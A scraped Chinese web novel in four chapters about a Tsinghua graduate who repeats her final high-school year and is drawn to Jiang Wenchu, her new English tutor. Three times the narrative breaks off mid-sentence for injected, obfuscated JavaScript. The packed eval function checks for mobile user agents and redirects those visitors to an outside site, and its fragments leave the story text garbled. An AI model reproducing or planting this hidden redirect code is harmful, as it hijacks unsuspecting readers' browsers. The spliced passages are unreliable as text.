《忘了家教老师是我前妻姐》 1. 见面 九月初的校园，带着未散的夏日闷热，却也充满了新学期的朝气与活力。 下午四点五十五分，伴随着晚饭前最后一节课的下课铃声响起，教室里陆陆续续传来桌椅挪动的声音。男生们像离弦的箭一样冲出教室，而女生们则大多三两结伴，不紧不慢地往食堂方向走去。 食堂那边渐渐排起了长队，相比之下，校门口显得有些冷清。 在一群身穿蓝白校服的学生中，白柚的身影格外引人注目：她穿着简单的酒红色半袖和黑色休闲裤，站在走廊和楼梯的交接处，右肩上搭着书包，左手中捏着手机，头发被随意地敛在一起扎成了一个低马尾，几缕细碎的发丝松散地落在耳侧，随着步伐轻轻摇曳，带出几分灵动。 她的脸庞清秀而温柔，眉毛纤长，黑亮的眼眸带着几分冷静，眉眼之间透着一股淡淡的疏离，唇形柔和自然，抿起时显出一丝清冷的气质，让她在人群中显得既亲近又遥远。 阳光透过楼梯间的窗户洒在她的肩头，为她的轮廓镀上了一层柔和的光晕，仿佛与喧嚣的校园隔离开来。 白柚低头扫了一眼手机，没有新消息，就息了屏幕，往楼下走。 一路上，她神情淡然，仿佛完全没有察觉到周围投来的好奇或探究的目光。 然而，实际上，她的每一步都牵动着走廊和楼道里众人的注意——毕竟，虽然开学才第二天，但是关于她的传闻早就已经传遍了整个校园。 在这个高考压力巨大的校园里，顶尖大学几乎是所有人追逐的终极目标。而白柚不仅考上了顶尖学府，还顺利毕业了，却偏偏选择“回炉重造”，重新来读高三，这个决定无疑让很多人费解。 人群中，有人忍不住小声嘀咕：“这就是那个从清华毕业的白柚？那么好的学校都上完了，居然还要回来读高三，她到底怎么想的啊。” 也有人抱着不同的心思，语气中带着一丝质疑：“她这是来炫耀的吧？觉得自己特别了不起，来我们这儿‘降维打击’？” 当然，也有不少同学对她充满羡慕。一个女生挤在朋友中间小声说道：“听她们班的同学说，她晚上可以不上最后两节晚自习，带手机老师也睁一只眼闭一只眼，果然成绩好就是不一样。”她说完还不忘向白柚的背影多看一眼，眼中掺杂着几分向往与钦羡。 阳光透过校园两旁的绿树，洒下一片斑驳的光影。微风拂过，带来阵阵清新的气息。 走在其间的白柚的步伐轻快。 那些好奇的视线和议论声，就如同道路两旁的绿树，对她来说只是路过的风景，丝毫不会影响她的心情。 事实上，关于她的传闻大部分都是事实：白柚确实是今年六月份刚从清华大学软件学院毕业的学生，而就在身边的同学们各自奔向工作或深造的路上时，她却决定回到高中，再考一次，重新上个本科。 家里人一开始也不太理解她的决定，但经过白柚几番软磨硬泡和她姐姐白允的助攻，父母最终还是妥协了，选择尊重她的想法。 不过因为白柚不准备待在家里自己复习，他们也提出了唯一的要求：必须去学校里上学——这样每天有老师和同学在她身边，作为父母也能少些担忧。 而白柚选择了老家所在县城的一中。 此时保安亭里的老式风扇嘎吱嘎吱响着。门卫叔叔正一边刷着短视频一边无意识地将钢钵里混在一起的饭菜往嘴里送。 白柚将假条放在他旁边不远处白天会临时搭起来的桌子上，用不知道谁放在那里的水杯压住，又熟练地在出入登记表上写下了自己的信息。 “叔叔再见。” 听到白柚没什么温度的声音，门卫叔叔一个激灵，抬头见到白柚的背影，又松了口气：“拜拜，路上慢点。” 一般来说，一中的晚自习有四节课，前两节由科任老师讲解，持续到晚上八点；后两节是自习时间，供学生完成作业或复习巩固，一直上到十点半。 白柚在正式报道之前，和班主任说好了没有特殊情况就每天晚上八点离开。而今天，她之所以特意又向班主任请了假，提前到五点就走，是因为她姐姐白允说帮她找了一位英语家教，让她们晚上先一起吃顿饭互相了解一下。 前脚白柚刚走出校门，后脚那位“家教老师”的微信消息就到了，给白柚发了包间名称“如意间”。 她们昨天约的餐厅是一家私房菜馆，离学校后门不远，穿过一条街道再拐个弯走几十米就是。这家菜馆的消费在这个小县城里算得上价格偏高，但对比大城市，也还算实惠。 白柚修长的手指在屏幕上轻轻滑动，指尖在手机键盘上灵活敲击出了简单的两个字“好的”。她的手指纤细但有力，每一个动作都干脆利落。 回完消息后，她顺手从书包侧兜里摸出耳机盒，将一副白色的蓝牙耳机挂在耳朵上，打开降噪模式。将手机切到“我喜欢”歌单，白柚点了下歌单的置顶音乐，《California》的前奏随即响起。 七八分钟的步行路程在音乐的陪伴下很快结束。 到达餐厅门口，白柚取下耳机放回到耳机盒，又把耳机盒按回书包侧兜，这才走进餐厅，礼貌地询问服务生包间的位置。 服务生引导着她穿过几张桌子，走进一条安静的走廊，停在了“如意间”门前。 白柚抬手轻轻敲了敲门。 门很快被打开，白柚抬头的一瞬间愣了愣。 眼前的女人身姿修长，比她略高一些，肌肤白皙透亮，五官如同精心雕琢般立体又和谐。她眼角微微上扬，那双明亮的眼睛带着温柔的笑意。 一头自然垂落的长发随意地披在她的肩上，发尾带着微卷，温柔又不失随性。她穿着一件白色的垂感衬衫，领口微微敞开，露出一段优美的锁骨，搭配着深蓝色的高腰长裤，显得既简约又高级。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785779|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你是小柚吧？”对方轻轻一笑，声音低柔，语气礼貌又亲切。 白柚点点头，心中微微惊叹于对方的气质。 “我叫江文初，文字的文，初见的初。”说着，她轻轻侧过身，做了个请进的手势，“你可以叫我江老师。” “谢谢。”白柚礼貌地微笑回应，走进包间。 包间内的布置简洁而优雅，墙上挂着几幅油画，桌上摆放着简单的花艺装饰。 她坐到江文初放着的挎包对面的座位上，将手机塞进书包侧兜，也一并放在了旁边的座位。 与此同时江文初轻轻合上门，随后在白柚对面坐下。她目光不经意间落在白柚左手腕上，交叉着放在桌子上的手指便微不可查地颤了一下。 那是一只黑色的方形手表，表面有几道细微的划痕，金属表带也有明显的磨损。 白柚注意到她停滞的目光：“有什么问题吗江老师？” “没有，就是觉得小柚的手表还挺好看的。”江文初收了目光，右手指腹点在面前的菜单上，将菜单往白柚这边推了推，“不知道你喜欢吃什么，就没提前点。” 这表白柚在上大学之前就开始带了，虽然她记不太清具体是什么时候买的，但一直舍不得换。中间有一次表坏了，她还跑了好几家店才给修好。 不过喜欢归喜欢，从公正的角度来说，这表放在现在确实算不上好看。 心中有些疑惑，但这时服务员恰好进来了，耐心地站在一旁推荐了几道招牌菜，她也没有把这个事放在心里去。 白柚接过菜单翻看了几页，点了一道自己喜欢的小炒黄牛肉，其他的菜则没怎么细看，只是将菜单推回给江文初：“其他的就交给江老师来决定吧。” 江文初也没有推拒，在刚才服务员推荐的几道菜中选了一份玉米粉蒸排骨和一份蒜蓉虾，临下单前还问了白柚的意见。 两个人吃这样三份菜既不会显得小气又不会造成浪费，关键是江文初加的两个菜都特别符合白柚的喜好。 “可以的。”白柚没想到心想江文初和她的口味还挺像的，对江文初的好感又增添了几份，连带着这次晚饭也有了些意外的惬意。 服务员出门时将门轻轻带上，屋内就安静了下来。 虽说江文初是来给她做家教辅导的，但刚刚见面就直奔话题显得有些突兀，于是白柚准备先聊几句闲话：“江老师是今天刚到毗县的吗？” 毗县是这个小县城的名字。 “对，上午过来的。”江文初往自己杯子里倒了茶水，递给白柚。 白柚双手接过道了谢，又将自己的餐具拆开把杯子放在了江文初面前。 江文初继续说：“但是房子在前段时间已经拜托朋友帮忙置办妥当了，就在学校正对面，两间卧室加一个书房。大部分生活起居用品也都准备了，不过难免有疏忽，可能这几天还要去添置一些东西。” 2. 了解 要和家教老师“同居”这件事情白柚是提前知道的。 说是家教，实际上白允的安排却远不止如此。 前两天白柚离开家时，白允还特意跟她提起：“你的基本情况我已经跟江老师说了。江老师没比你大几岁，人很温柔，就是最近有点事还要耽误两天。你先在酒店将就一下，等她过去就搬过去跟她住在一起，她也方便照顾你。” “知道了姐。”那时候白柚随口答应下来，转头就通过中介在学校旁边自己租了个房子。 她知道自己姐姐不是那种会强求别人的人，给自己找这个“家教”最大的目的应该也是盯着她的人身安全。就算先斩后奏，只要她听话地按时到江文初那里报道，最后的结果大概率也是白允后退一步。 白柚今天对江文初的印象比想象中好非常多，但仅仅一次见面也不可能让她改变主意要搬过去和江文初一起住。毕竟与人同住总会有互相迁就的事，白柚暂时还不想给自己增加这样的负担，也不想给江文初增添麻烦。 “我在学校旁边租了个房子，”白柚接过江文初手中的茶水壶，将两人的碗筷涮了涮，“不过房子比较小，也没有太多余的空间，所以辅导的时候可能还是要去江老师那边。” 听到这话，江文初并没有表现得比较惊讶：“也好，不过小柚要是什么时候想过来住，随时欢迎。” 今天是星期二，饭点又才刚开始，餐厅里的人不多。白柚与江文初的闲聊并没有持续太久，菜就陆续上来了。 中午学校食堂的饭不怎么合白柚的胃口，她没吃多少，这会儿肚子早就已经空空如也，还隐隐约约饿得有点难受。 菜一上来，她就边听着江文初的话熟练地将两人的饭盛好，夹起一片牛肉混着一口饭。 四川饭馆子里的菜一般都比较油腻，她们今天点的这三道相对来说好很多，但味道应该也还算不错。 “那你觉得自己在英语方面最大的弱项是什么呢？”江文初也动了筷子，一边夹菜，一边关注着白柚。 白柚抬头看向江文初，思考片刻，将口中的饭菜咽下，这才回答：“口语吧。其实我很少有机会在生活中用英语交流，阅读听力那些都还可以刷题练练，口语就真的是一年也说不了几次。” 说完，白柚才反应过来自己经过大学的洗礼，下意识地把英语分为了“听说读写”四个方面，但其实“说”在高考里根本不考。 于是她又补充了一句：“不过反正高考也不考，除了这个，就是听力吧。” 吃着饭聊起学习，白柚又放松了一些，话也逐渐多了起来。 而后，白柚在江文初的引导之下将自己的英语水平情况一一分析了一下：大学四六级都是裸考不到五百过的；除了要拿平时分必须做presentation时，英语课上一般都是听众角色；听力会抓答案的重点但是很难完全听懂意思；由于没有系统学习过语法，翻译/写作水平也比较欠缺；在所有方面稍微好一些的就是阅读，准确度比较高但是速度还需要加强——这样的情况很符合白柚从小到大的学习经历。 白柚的父母都是农村出生的生意人，她小时候父母的生意还是刚起步，后面才是越做越大，到了如今的规模。所以白柚也跟随父母有了小学在乡镇、初中和高中前两年在县城、高三在市区念书的几段经历。 毗县的教育水平并不怎么发达，尤其是英语，是从三年级才开始开课的，在后续的教学过程中老师们关心和培养的主要也是学生的应试能力。 白柚小时候对美剧、英文歌兴趣都不大，对英语的学习热情也没有像数学、物理这些学科那么强烈，加上每次遇到的英语科任老师都是刚毕业的大学生，心有余而经验不足，所以英语一直是比较拖白柚后腿的科目。 即便后来转学去了市区，情况稍微好了一点，但也很难短时间弥补十几年的差距。好在靠着强大的刷题和总结能力，那一年高考白柚的英语还是考了133分，没有造成什么遗憾。 当然，在毗县这样的小县城念书也不是没有一点好处。 比如白柚从小因为理科成绩异常出色，连带着总成绩也是出类拔萃，她在小学时期先后经历了两次跳级。所以到了如今，她也才不过二十岁出头的年纪。 一顿饭下来，江文初对白柚的英语学习各方面的情况可以说已经了解得七七八八了。 “那就每周的一三五，晚上八点二十到九点五十补习，房子的位置我等会儿带你过去看看。”临近结束，江文初对她们的计划打了个总结，“具体讲什么内容到时候看情况，当然如果你碰到什么有疑问的地方，也可以记下来或者随时微信问我。” “好。”白柚答应着，见江文初没有再拿起筷子的意思，咽下最后一片牛肉，也放下了筷子。 虽然这期间大部分时间都是江文初在问，白柚在回答，但白柚对江文初的了解也不是完全没有。 比如白柚知道了江文初是高中毕业后就去了加州，毕业后又在那边工作了快一年，不久前才从那边回来的。 想起自己歌单的置顶音乐，白柚还在心里感叹了一句好巧。 那是她“我喜欢”里为数不多的几首英文歌之一，每次戴上耳机放音乐，总是从这首歌开始。有时候她甚至会单曲循环，这首歌她已经听了接近三千遍，却仍然没有厌倦。 她很想问问江文初为什么毕业后不继续深造，又为什么在工作之后忽然选择回国，还到了这个小县城当起了她的辅导老师，但这些问题始终没有说出口。 毕竟江文初没有过多询问她的私事，连最常被问起的你为什么毕业后要选择回来复读也没有问，她不确定江文初是否有想要和她深交的意思，也不会做没有边界感的人。 饭后，江文初带着白柚回了她所在的小区，与学校后门就隔了一条街。 这个小区是个开发了二十年左右的老小区，但是因为住的老师比较多，小区的氛围非常和谐，业委会也比较活跃，经常组织修缮美化小区，所以整体小区的舒适度还是很不错。 江文初带着白柚进了小区门，直走过两栋房子左拐进了单元楼，跨上几节阶梯便到了地方。 一梯两户，江文初在右边门的指纹锁上按下了手指，待解锁的声音响起，又推开了门。 进门正对面是半人高的鞋柜，鞋柜上面是一些储物的柜子。白柚目光向右移动，就窥见屋内装修风格简约而温馨。 因为视线部分受阻，她只能看到半个客厅：除了窗户边一些绿植、一个背靠门的矮沙发、沙发前面一个茶几和右边的软垫，没有太过多余的东西。正对沙发的墙上没有装传统的电视，而是挂着一块幕布。 阳光透过大落地玻璃窗洒进来，柔和地照在白瓷砖上，显得整个空间宽敞而明亮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785780|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这里装修真不错。”和刚才那顿饭的菜一样，深得白柚的心。 江文初莞尔，从鞋柜里拿出了两双拖鞋：“嗯，我也是喜欢简单一点，住着舒服。” 看到江文初的动作，白柚想了想自己等会儿还有点事要处理，今天该说的也都说完了，留在这里好像也没什么要干的，便轻声道：“我知道地方了，明天再过来，今天就不打扰江老师了。” 江文初也没有挽留白柚，将她送到了小区门口，二人就此道别。 一转身，白柚就习惯性地从书包侧兜里掏出手机和耳机盒，熟练地戴上耳机，点开了《California》。 纵使听过数千次，这首歌还是会因为一个人的出现，多了一些别的意思。 通知栏挂着姜南和别的几个人发来的消息，但白柚打开微信，竟鬼使神差地点开了和江文初的聊天窗口，凝视着她的头像——一只白猫坐在海边的石头上，望着前方清澈的蓝海，海上正有一群海鸥飞过。 这只白猫仿佛在等着谁，又好像在静静诉说着什么。 白柚点了一下江文初的头像，进了她的朋友圈。朋友圈什么也没有，背景是另一片海。 昵称“C.”下挂着一句个性签名：万物与我都是荒诞的静寂。 白柚见过这句话的下一句，依稀记得是出自的佩索阿的诗集《我的心迟到了》。 片刻后，白柚终于回过神，退出了江文初的朋友圈，将江文初的备注改成了“江老师”，才点开了和姜南的对话框。 姜南是白柚高中时结识的好友，也是现在唯一一个可以知无不谈的对象。虽然她远在上海读研，但对白柚的关心每天都跨越千里抵达白柚的微信。 【N.：情况怎么样？】 N.是白柚给姜南取的备注名，她喜欢给亲近的人用一个大写字母加一个“.”备注。当然现在除了她自己的昵称，就只有姜南和白允享受到了这个待遇。 抬头看见绿灯，白柚放下手机，走到了马路对面，这才给她回了一条消息。 【Y.：非常温柔漂亮，身上香香的西柚味，味道我很喜欢】 白柚说不清自己打这条消息时是什么心情。 姜南的回复很快就来了。 【N.：我就知道你见一个爱一个，爱一个转头就忘】 【N.：不过这个姐姐身上是你的味道诶】 【N.：怎么说，有真的勾起你的兴趣吗？】 姜南没有浮夸。 白柚经常跟姜南说自己今天什么时候在哪哪哪见到一个美女或者帅哥，表达一下自己的欣赏和夸赞，但从来没有过下文。哪怕是对方也恰好关注到白柚，想和她认识一下，她也会礼貌拒绝。 所以大学四年，别说谈恋爱，她连个暧昧对象都没有。问起来就说没感觉，这可把姜南操心坏了。 白柚停下脚步，在对话框中打下“有一点”，犹豫了一下，又把这三个字删除。 她没有想骗姜南，江文初给她的感觉确实和之前的那些人都有那么一点不一样，虽然还没有到一眼爱上那么夸张。但这前所未有的感觉，还是让白柚有一些暗暗的激动。 但想起江文初的签名，她又觉得有些事情确定之前最好不要进行自我攻略。 思虑再三，她给姜南回了： 【Y.：不如希望她能先勾起我对英语的兴趣】 3. 礼物 毕竟边走路边看手机也不是什么很好的习惯，所以回了姜南这条消息，白柚就将手机熄了屏揣回裤兜里，认真走起了路。 其实白柚租的那间小房子所在的小区就在学校出门左转大概200米左右的地方，这会儿她再往前走一点点就到了。 不过这会儿她还要再往前走个800米到书城去挑几本书。 昨天晚上8点下课白柚背着书包走到楼梯口的时候被数学老师拦了下来，叫她到办公室聊了会儿。 不巧的是刚好开学第一天，她的六个科任老师都还留在办公室。于是和数学老师聊完之后，除了班主任以外的其他四个老师又轮流找她了解了一下该科情况，导致她错过了学校最近的书城的营业时间，复习资料都还没来得及买。 对于教辅资料，白柚的理论是，天天面对的东西，要是不好看，刷题的时候都影响心情。所以到了书城，面对琳琅满目的高三资料，白柚凭借它们封面和页面设计的颜值初筛出了一批。 像白柚这样的学习圣体，哪怕只是大概翻阅了一下内容，就已经能大体分辨出这种教辅资料的类型、难度以及是否适合自己。 没花多少时间，白柚就挑好了——数理化生各一本紫色的《五年高考三年模拟》和一本《高考必刷题》。前者回顾基础后者提升能力，目前这些对她来说已经足够用了。 按照白柚的学习方法，语文没什么买资料的必要；至于英语，她买了一套《天利38套》，这是她上次高三刷成绩的得力助手。 白柚抱着厚厚的一踏书走向收银台，恰巧经过了书店的文创产品区，她晃眼一瞥，目光正好扫过了一只白猫摆件。 这只白猫摆件大概有一只手大小，站在一个木制的站台上，望着前方，外形和江文初的头像有几分相似。 白柚顿了一下，朝着那边走了过去。 走近一看，这摆件的做工很是精致，价格也不算寒碜。白柚翻来覆去看了几下，还是走到了收银台，一边将书放下一边说：“您好，请问能帮我把那边那个猫咪摆件包装一下吗？” 初次补习，感谢老师，送个见面礼什么的应该不需要什么特别解释吧。 - 一中虽然是这县里最好的高中，但是毕竟位于四川这样一个高考大省，每年能考上985的也就是那么二十来个人，至于清华北大的学生，有时候两三年能出一个就已经算是很不错的成绩。 所以当白柚这个清华毕业生联系学校领导想去“旁听”时，领导自然是求之不得，二话没说就答应了，当即就安排她进入了学校最好的理科班——1班。 这个班上的同学大部分都是在一中初中部念初三的时候成绩特别拔尖的那一批，初三下期就获得了直升资格。还有一些则是中考超常发挥、名列全县前茅才后来进的这个班。 为了锻炼同学们的应试心态，一中除了每个月的月考，每周还会分几个时间段进行各科的周考。数学周考安排在周天的晚自习，理综考试在周四的下午，而语文和英语考试则轮流在周二的上午进行。 昨天考的是英语，对白柚来说不算陌生，但也算不上多熟悉。 因为理科一班的老师们只负责这一个班级，每次考试之后，找几个成绩好的同学帮忙，很快就能将卷子改完，效率奇高。第二天早上白柚踩着点到教室的时候，改完的英语答题卡连带着一张空白的练习卷已经躺在了她的桌子上。 练习卷上是四道阅读题，白柚对此并不是很感兴趣，对折起来后就塞到了桌子里。 答题卡右上方写着一个大大的107，不算差，但相对其他科来说，英语是唯一一个大学也在延续学习的科目，显然这个分数不太让人满意。 白柚转身看了一眼自己身后贴的班级成绩单，目光从上扫到最后——最高分142，上130的有十来个，平均分119。 每次考试张贴全班同学成绩的成绩单是一班的习惯，老师的目的是想激起同学们互相之前彼此追赶的劲头，倒也为座位单独在教室最后面的白柚了解这个班级的情况提供了些便利。 白柚将书包放下坐了下来，将答题卡翻了个面，大概总结了一下自己的问题——主要还是出在听力、语法还有作文上。尤其是满分25的作文，竟然只拿了13分，属实是有点难看。 这套英语卷子昨晚的英语晚自习老师已经评讲过了，于是早读课连带着早上的一二节课，白柚都在借助互联网自己复盘。 因为一班是网班，所以每个同学都配了一个平板，班主任和白柚说没必要再买个新的，于是她就把自己ipad带来了，还省了从定制系统“越狱”这个环节，对她来说着实方便不少。 不管是以前念高中还是大学，白柚都不喜欢听课而喜欢自学，所以把同学和老师的话当耳旁风对她来说不是什么难事，上课做事效率也高。 做完复盘，白柚又简单整理了一下，还是有几道实在搞不明白的。不过昨天她跟江文初提过上午考了英语，江文初让她今天把卷子和答题卡带过去，于是白柚把卷子和答题卡塞到了书包隔层里，准备晚上问问江文初。 忙碌的时间总是不知不觉过得很快，天色也渐渐暗了下来。 晚上八点整，白柚拎着她的书包和装着猫咪摆件的透明盒子准时从教室出发。因为小区就在学校对门，她就干脆没听歌，步伐很快，八点十分就按响了江文初家的门铃。 门缓缓打开，映入白柚眼帘的是江文初刚洗完澡的模样。 江文初穿着一身米白色的丝质睡袍，带出的水汽在空气中弥漫，令她的肌肤散发出一种清新的光泽。她的长发还有些微微的湿润，随意披在肩上，被发尾遮住的锁骨若隐若现。 白柚愣在那里，半晌没有要进去的意思，耳朵又骤然红红的。 江文初往前挪了两小步，将手背覆在她额头上：“小柚，你怎么了，不舒服吗？” 冰凉的触感从额上传来，耳后却热得发烫，背后是夏日闷热的空气，身前是空调带来的凉意，这冰火两重天让白柚感觉很是奇妙。 “没有，”她感觉到自己的心在加速跳动，往后挪了一步躲开江文初的手，“可能是刚才走得太快了，有一点热，过会儿就好了。” 江文初也不多问，一手放在胸口上防止本就不贴身的材质往下落，另一只手从打开鞋柜从里拿了一双拖鞋出来：“你先换上，我去给你倒杯水。” 直到这时候，白柚才完全回过神来，想起自己手上还拿着给江文初的小礼物。 她将盒子放到鞋柜上，两只脚互相踩着鞋跟脱掉了运动鞋。 江文初买的这双拖鞋是白柚特别喜欢的蓝白配色，软软的，穿起来也很是舒服。 “给你准备的卧室是右边这间，再往前右边这间是书房，我睡左边这间。”江文初端着两个玻璃杯过来，白柚也恰好看向她，她就介绍起了房子的大致格局。 见状，白柚将盒子的方向稍稍挪了一下，让江文初能以更好的角度看清楚里面的猫猫摆件，这才接过江文初手里的水杯。 “谢谢江老师。这是我昨天去买书的时候看到的，觉得很适合摆在这屋里就买下来了，也不知道江老师喜不喜欢。” 随着白柚的话，江文初的视线也落到了鞋柜上那个透明盒子里。 那只猫咪静静地站立着，它的体型圆润，毛色纯净如雪，只有四肢的末端带着淡淡的棕黑色，眼睛是一片深邃的蓝。猫咪的形态也栩栩如生，不得不说，这个摆件的工艺确实精细。 “猜得很对，”江文初朝白柚笑了笑，将手中的水杯放在鞋柜上，双手托着将盒子拿了起来，“我很喜欢，谢谢。” 江文初的笑容宛如春日的阳光，温暖而明媚。 白柚与她四目相对，只维持了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785781|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两秒，便微微低下头，将手中的水杯送到嘴边，轻轻抿了一口，才又开口：“江老师是不是也很喜欢猫？” “嗯，”江文初点点头，示意白柚跟着她往里走，“不过一直挺忙的，怕照顾不好，就一直没养。” “我从小就想养一只猫，不过我是因为我妈对猫毛过敏，小时候一直没机会，”其实白柚平时在不熟的人面前并不是一个话多的人，不过要是碰到了她非常感兴趣的话题，她偶尔也会变成话匣子，“后来学校不让本科生出去住，尝试过两次没多久都被我导员抓了，后来就放弃了。” 江文初被白柚的话逗得轻笑出声，谈笑间，两人已经进了书房。 整个书房和客厅的装修风格一样，简单而不失温馨。不过说是书房，这间房间更像是卧室改造而来的一个简约风工作空间。 白色的墙壁在柔和的灯光下显得更加明亮，空调的低鸣声在房间内轻轻回荡，长长的电脑桌占据了房间的一侧，上面摆放着一台银色的MacBook，旁边散落着两本笔记本和一些文件资料，笔筒里随意而又有序地插着几支笔。 与电脑桌相对的，是一张宽大的书桌，只有两张椅子静静地守候在一旁。书桌的一侧，是一个同样空荡荡的书架，白色的框架在灯光下显得格外醒目。 江文初小心翼翼地拆开白柚送的礼物，将摆件拿出来，轻轻放到电脑桌上。这个位置，让她坐在电脑前时，只需一侧头，便能看到那只可爱的猫咪。 回过身，江文初让白柚坐到书桌左边：“要是有需要的话，你可以把一些东西放在这边。” 白柚照着她的安排坐下，将江文初的水杯放到她那边的桌上。 接下来，两人正式开始补习。 江文初今天并没有提前准备什么，而是准备从白柚的卷子入手进行分析。 白柚把白天难搞明白的题目逐一问出来，江文初耐心地为她讲解，清晰的思路和生动的例子很快就让白柚领悟了自己的想法是哪里出了问题。 江文初细致地分析了白柚的卷子，针对性的给予反馈，最后总结出这两天的专项训练：练字。 江文初说着，白柚低头仔细看了一眼自己答题卡的作文区域：那英语字迹和她的人看起来极为不符，东倒西歪中透露着放荡不羁，让人看了直想笑。 其实白柚也不是故意写成这样的，她从小写字就比较扭曲，练过几次也没练出过什么效果。再加上大学几年写字的频率微乎其微，现在认真写的时候还能看的过去，但是一到考试这种时间紧迫的时候，她就顾不上好看，那字能飘得直接起飞。 “你的作文整体虽然算不上精彩，但该有的点都写到了，也没有特别大的错误，”江文初没有笑她，语气认真，“先把这个字体解决了，能立马提高5分左右，而且很快。” 江文初朝白柚那边靠了靠，拿起签字笔：“阅卷老师喜欢又好学的字体核心在于每个字母的大小、倾斜和间距要一致，不要连笔，慢慢写，每个人都能练得出来。练字其实也是练心，心静下来，字也会变得流畅整齐。”她一边说，一边在纸上缓缓写了几笔，优雅的字迹跃然纸上。 这是网上非常流行的“衡水体”，达不到惊为天人的效果，但确实非常养眼，能在一堆常规的手写字中让阅卷老师眼暂明。 江文初的手指也很是修长，骨节分明，并且她执笔的姿态带着一种天然的优雅和沉稳。 白柚看着她写字的手，忍不住看得有些入神。 江文初写完一行单词，偏头看了看白柚：“要不要试试？” 白柚回过神来，微微有些不好意思地点了点头。她拿起笔，却总觉得自己的落笔和用力有些僵硬，写不出想象中的效果。 江文初看了看白柚的手势，起身走到了她的身后，一低头，几缕长发就垂落下来，轻轻拂过白柚的耳朵，带来一股沁人的香气。 4. 留宿 江文初伸手轻轻握住了白柚的手，稍稍调整了一下她的握笔姿势：“这样，放松一些，手腕微微抬起一点。” 白柚一瞬间怔住了，心里突然像被什么轻轻挠了一下，心底泛起一丝酥痒。她不自觉地屏住了呼吸，心跳竟有些紊乱，感到被江文初握住的手背在微微发热。 “现在试试看，是不是感觉顺手多了？”江文初的声音带着一丝自然的亲近。 手被松开后，白柚试着继续写着，果然比刚才顺手了许多。 江文初看着她写下的字迹，微笑着点了点头：“有进步，就这样慢慢写，手法熟练之后，看起来会更加自然。”说着，江文初回到位置上。 白柚侧过身与江文初的目光相对，不出几秒，又移开了视线，低声轻飘飘地说道：“我再试试。” 时间飞快流逝，很快就到了十点。 白柚在从前任何一次的英语课上都从未有过这样愉快的体验。果然，能够遇到一位合适的好老师，实属难得。 她一边想着，收拾了东西和江文初道了别。然而天公不作美，推开门，耳中传来的却是淅淅沥沥的雨声。 白柚皱了皱眉，转头问江文初：“江老师，可以向你借一把伞吗？我周五带过来还给你。” “当然可以。” 江文初在鞋柜上的柜子里找了找，又去储物间里看了看，最后在客厅寻了一圈，都没有看到伞的踪影。 “要不是这个雨，我还没注意到伞忘记准备了，等明天去买两把。”江文初神情间带着无奈。 白柚犹豫了一下，心中盘算着是否要冒雨回家。 江文初却朝她走去，将门带上了：“你姐姐跟我说你体质比较弱，要是淋雨淋坏了我可赔不起，要不今天就在这里凑合一晚吧。” 白柚想了一下今天确实没有特别紧急需要用电脑的事，在这里睡一晚也没有什么不好的，最终点了点头。 江文初带她去卧室。 不出意外地，这里空间不算大，充满了简约的气息，布置得让人感到格外舒适。 卧室整体配色是蓝白的风格，靠近床头的墙上一高一低挂了两幅玉桂狗的正方形画相衬，对面的壁挂式的隔板上摆了一只玉桂狗和两支插在小瓶里的玫瑰花，都是用积木零件拼成的。 衣柜敞开半边，上面整整齐齐挂着的三套薄睡衣和一些简单夏季款式的衣裤，下面的板子上则放了一些一次性的内裤，最右边还有一个透明小盒子，白柚隐约能看到里面，没猜错的话是一些洗好的内衣内裤和袜子。 这一切都太贴心了。 “这个房间是重新装修过的吗？”白柚问。 虽然里外的装修都是简约风，但配色略有差异。 江文初摇了摇头：“大框架没有变过，这间特殊一点，可能原来是个小朋友住的。” 白柚点点头，将书包随手扔在了衣柜旁边的小书桌上。 “外面那个洗手间放的洗浴用品都是给你准备的，我的卧室有单独的卫生间。”江文初上前将衣柜门拉到另外一边，“要是有什么需要的生活用品可以去进门左边的储物间找，没有的话我白天再去买。” 衣柜另一边的格子里放的是稍微厚一些的衣物、床上用品和一堆各式各样的玩偶。 “好，我先去洗个澡。”话音刚落，白柚的肚子突然发出一阵不太合时宜的响声。 她今晚吃得有些少，肚子里空荡荡的，要是在自己的房子里还有她囤的一些零食可以充饥。 而现在，她感到有些尴尬。 江文初与她隔得不远，拿了小书桌上的遥控器将空调打开：“要不要吃点儿东西？” 白柚略微犹豫，她饿了不假，但这个点再做吃的也有些麻烦江文初。 “我正好也有点饿，想你陪我简单吃一点蛋炒饭或者面条，你有感兴趣的吗？”又附身按开了门口插着的电蚊香，江文初如此说。 白柚思忖片刻，觉得这两样都不算太麻烦，便点了点头：“那就麻烦江老师了，我两样都可以，但是都吃不了太多。” 说完，她从衣柜里取了睡衣和一次性内裤，匆匆溜去洗澡。 平时不洗头的时候，白柚洗澡都是比较快速的，今天却比平常慢了一些。 